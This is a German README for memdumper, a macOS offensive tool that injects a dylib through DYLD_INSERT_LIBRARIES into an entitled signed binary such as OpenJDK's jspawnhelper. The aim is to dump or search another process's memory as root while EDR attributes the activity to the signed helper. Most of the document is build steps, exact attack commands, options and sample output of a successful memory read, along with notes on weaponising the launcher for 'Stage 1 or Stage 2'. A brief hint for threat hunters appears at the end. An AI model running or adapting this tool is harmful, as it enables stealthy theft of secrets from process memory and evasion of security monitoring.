
Missbraucht macOS-Debugger-Entitlements und DYLD_INSERT_LIBRARIES, um den Speicher eines laufenden Prozesses zu dumpen oder zu durchsuchen, während die EDR-Zuordnung auf eine signierte Hilfs-Binärdatei verschoben wird.
memdumper liest den Speicher eines laufenden macOS-Prozesses unter der Debugger-Berechtigung einer anderen signierten Binärdatei. Das Ziel ist, dass task_for_pid und ptrace als diese berechtigte Binärdatei laufen, sodass eine EDR-Lösung sie aufzeichnet statt memdumper.
von cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper startet eine berechtigte Binärdatei mit com.apple.security.cs.debugger sowie den beiden Berechtigungen, die einen DYLD_INSERT_LIBRARIES-Einschub erlauben. Verwenden Sie sie, um den Speicher eines anderen Prozesses als root zu durchsuchen und zu sichern. OpenJDKs jspawnhelper ist eine häufig anzutreffende Binärdatei, insbesondere auf Entwicklerrechnern.
Übergebt attach.sh eine Ziel-PID und die berechtigte Binärdatei. Der Dylib-Konstruktor läuft vor deren main, liest das Ziel und ruft dann _exit auf. Die berechtigte Binärdatei erreicht main nie, daher gibt ein Helfer wie jspawnhelper kein Nutzungshinweis aus. Zusätzliche Argumente nach der berechtigten Binärdatei bleiben in der von einer EDR-Lösung aufgezeichneten Befehlszeile. Ohne -s erstellt die Dylib einen Hex-Dump vom Beginn jeder lesbaren Region. Mit -s durchsucht sie diese Regionen nach der Zeichenkette. Der Adressraum des Ziels wird nicht beschrieben. Ein ptrace-Attach kann das Ziel kurz anhalten.
Der Dump-Status ist die Zeile [RESULT] in der zusammengeführten Ausgabe. Ein erfolgreicher Einschub beendet sich nach Beendigung des Konstruktors mit Exit-Code 0.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables und com.apple.security.cs.disable-library-validation (zum Beispiel OpenJDKs jspawnhelper)clangmakeattach.sh und die Testskripte (brew install shellcheck)brew install cppcheck)Auf dem Build-Host:
make
Das erzeugt memdumper.dylib. Kopiert attach.sh und memdumper.dylib auf das Ziel, falls es sich nicht um denselben Rechner handelt.
Führt attach.sh als root aus dem Verzeichnis aus, das memdumper.dylib enthält. Ein Aufruf ohne root wird abgelehnt, bevor die berechtigte Binärdatei startet (root required). Dadurch wird der Passwortdialog „Developer Tool Access“ (taskgated / Authorization Services) vermieden. Dieser Dialog ist nicht Transparency, Consent, and Control (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
Bestätigt, dass eine Kandidaten-Binärdatei die drei Berechtigungen besitzt. Das Cellar-Präfix und die OpenJDK-Version variieren; attach.sh verwendet dieses Layout in seiner eigenen Hilfe:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Erstellt einen Dump der lesbaren Regionen von PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Durchsucht diesen Prozess nach HELLO:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Begrenzt den Dump auf 50 lesbare Regionen und verwendet java als berechtigte Binärdatei. TestSpawn bleibt in der Befehlszeile; main von java wird nicht ausgeführt:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Ein Editor ohne Hardened Runtime ist ein funktionierendes Smoke-Testziel. Startet ihn als der Benutzer, dem der Puffer gehört, und führt dann als root den Attach aus. In einem Terminal:
nano foo
Schreibt HELLO in den Puffer, damit die Zeichenkette im Prozess vorhanden ist (die Datei speichern oder ungespeichert lassen). In einem anderen Terminal, aus dem Verzeichnis, das memdumper.dylib enthält:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Ein Treffer sieht so aus. Der Prozess beendet sich dann mit Exit-Code 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh prüft die Berechtigungen der berechtigten Binärdatei nicht. Fehlt eine der drei Berechtigungen, schlägt der Einschub oder task_for_pid fehl.
| Code | Bedeutung |
|---|---|
| 0 | Konstruktor nach erfolgreichem Einschub beendet |
| 1 | Nutzungsfehler, kein root, memdumper.dylib fehlt im aktuellen Verzeichnis, -p fehlt, Ziel-PID nicht gefunden, Hardened Runtime ohne --force oder der Einschub erfolgte nicht (die berechtigte Binärdatei lief dann und beendete sich mit einem Fehlercode ungleich 0) |
Lest [RESULT] für das Dump-Ergebnis. Exit-Code 0 bedeutet nur, dass der Konstruktor lief und _exit aufgerufen wurde.
Die Dylib liest drei Umgebungsvariablen. attach.sh setzt sie anhand der Optionen.
Jeder Starter, der DYLD_INSERT_LIBRARIES auf memdumper.dylib und diese Variablen setzt, kann die Dylib injizieren. attach.sh ist der im Tree enthaltene Starter.
Auf dem Build-Host baut make die Dylib und führt cppcheck und shellcheck aus. make test führt die Unit-Tests und die funktionale Testsuite aus. Diese Prüfungen sind kein Beweis für eine saubere Laufzeit.
Die Live-Such- und Dump-Tests benötigen Homebrew-OpenJDK und uid 0. Sie suchen jspawnhelper mittels find unter /opt/homebrew/Cellar und /usr/local/Cellar (ohne Versionierung). Sie rufen selbst kein sudo auf. Ohne Homebrew-OpenJDK oder wenn die Suite nicht bereits mit uid 0 läuft, werden diese beiden Fälle übersprungen (Exit-Code 77), sodass ein nicht-root make test keinen Developer Tool Access anzeigt. Verwendet sudo make test, wenn diese Injektionen laufen sollen.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace und das Lesen des Speichers (1Password, Chrome). --force versucht es trotzdem und scheitert fast immer.taskgated wertet das Authorization-Services-Recht system.privilege.taskport aus. Dieser Dialog ist nicht TCC. Der Entwicklermodus (DevToolsSecurity -enable) plus Mitgliedschaft in admin oder _developer unterdrückt ihn für Homebrew-jspawnhelper (adhoc, öffentliche Debugger-Berechtigung) nicht. Er überspringt das Passwort nur für von Apple signierte Werkzeuge wie lldb. System Integrity Protection (SIP) hält geschützte Systemprozesse selbst für root außer Reichweite.bash) verweigern den Attach über andere Prüfungen.attach.sh sucht im aktuellen Arbeitsverzeichnis, nicht neben dem Skript. Um dies vollständig zu bewaffnen, implementiert diesen Starter in Stage 1 oder Stage 2, statt auszuliefern.system.privilege.taskport, die drei Methoden, was eine EDR-Lösung aufzeichnet| Option | Bedeutung |
|---|
-p, --pid PID | Ziel-Prozess-ID (erforderlich) |
-s, --search STRING | Durchsucht lesbare Regionen nach STRING |
-n, --max-regions N | Maximale Anzahl lesbarer Regionen für den Hex-Dump (Standard 100). Nur Dump-Pfad |
-f, --force | Fortfahren, wenn codesign Hardened Runtime meldet |
-h, --help | Nutzung ausgeben (Exit-Code 1) |
| Variable | Gesetzt durch | Bedeutung |
|---|
MEMDUMPER_TARGET_PID | -p | Ziel-PID. Wenn nicht gesetzt oder keine positive Ganzzahl, gibt der Konstruktor eine Diagnose aus und kehrt zurück |
MEMDUMPER_SEARCH | -s | Wenn nicht leer, wird statt des Dumps gesucht |
MEMDUMPER_MAX_REGIONS | -n | Lesbare Regionen für den Hex-Dump (Standard 100). Wird beim Suchpfad ignoriert |
memdumper.dylibattach.sh-n / MEMDUMPER_MAX_REGIONS, Standard 100).ptrace ist nur Attach und Detach. Es erstellt keinen Speicher-Dump. [RESULT] 3/3 bedeutet, dass alle drei Aufrufe erfolgreich waren, nicht dass drei Dump-Pfade liefen.DYLD_INSERT_LIBRARIES. Threat Hunter nutzen dieses Feld, um diesen Einschub zu erkennen.